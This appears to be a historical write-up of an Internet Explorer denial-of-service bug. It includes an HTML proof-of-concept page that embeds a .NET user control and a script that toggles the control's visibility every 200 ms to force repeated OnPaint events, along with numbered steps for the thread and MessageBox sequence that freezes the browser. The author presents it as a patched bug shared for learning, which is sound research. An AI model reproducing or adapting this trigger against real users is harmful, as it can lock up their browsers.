This doesn’t crash IE — it freezes it completely. The browser stops responding to input, can’t be minimized, maximized, or closed, and disappears from the Alt+Tab list. It’s alive but halted, consuming no CPU. The trigger is a .NET user control that opens a form from one thread, closes it from a different thread, shows a MessageBox before the close completes, and then opens a second form on OnPaint.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DoS_FrozenIE_userControl_RunTwoForms</title></head>
<body>
<font face="Tahoma" size="2">
<center><h2>DoS_FrozenIE_userControl_RunTwoForms</h2></center>

This is not a crash. It's a "freeze" that makes the browser stay there, without consuming resources (processor). It's like a "halted alive"
process. You can't move, close, minimize or maximize it. It won't appear when you press ALT+TAB to switch tasks.<br />
<br />
1) Open a Form from a userControl and <font color="blue">close</font> it using a different thread.<br /><br />
2) <u>Before</u> the Form is <font color="blue">closed</font>, open a MessageBox.<br /><br />
3) Now open another Form on any event. In this case, we are using the <u>OnPaint</u> Event.<br /><br />
4) Close that last Form using -again- a different thread.<br /><br />

<object id="myApplet" classid="http:MyApplet.dll#AppStart" width="100" height="100"></OBJECT>
<br />
<script language="JavaScript">

// This function is just to fire make the OnPaint event of the userControl.
function fireOnPaintEventOfApplet()
{
	if (document.all.myApplet.style.visibility=='hidden')
	{
		document.all.myApplet.style.visibility='visible';
	}
	else
	{
		document.all.myApplet.style.visibility='hidden';
	}
}
setInterval("fireOnPaintEventOfApplet()", 200);
</script>
</font>
</body>
</html>

The freeze is caused by a deadlock between IE’s main UI thread and the secondary thread managing the form lifecycle. The MessageBox pumps the message queue in a way that blocks the close operation, and the OnPaint form opening creates a second blocking point. The result is a deadlock that leaves IE alive but completely unresponsive. This entry includes compiled .dll and .pdb artifacts for the MyApplet .NET user control.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.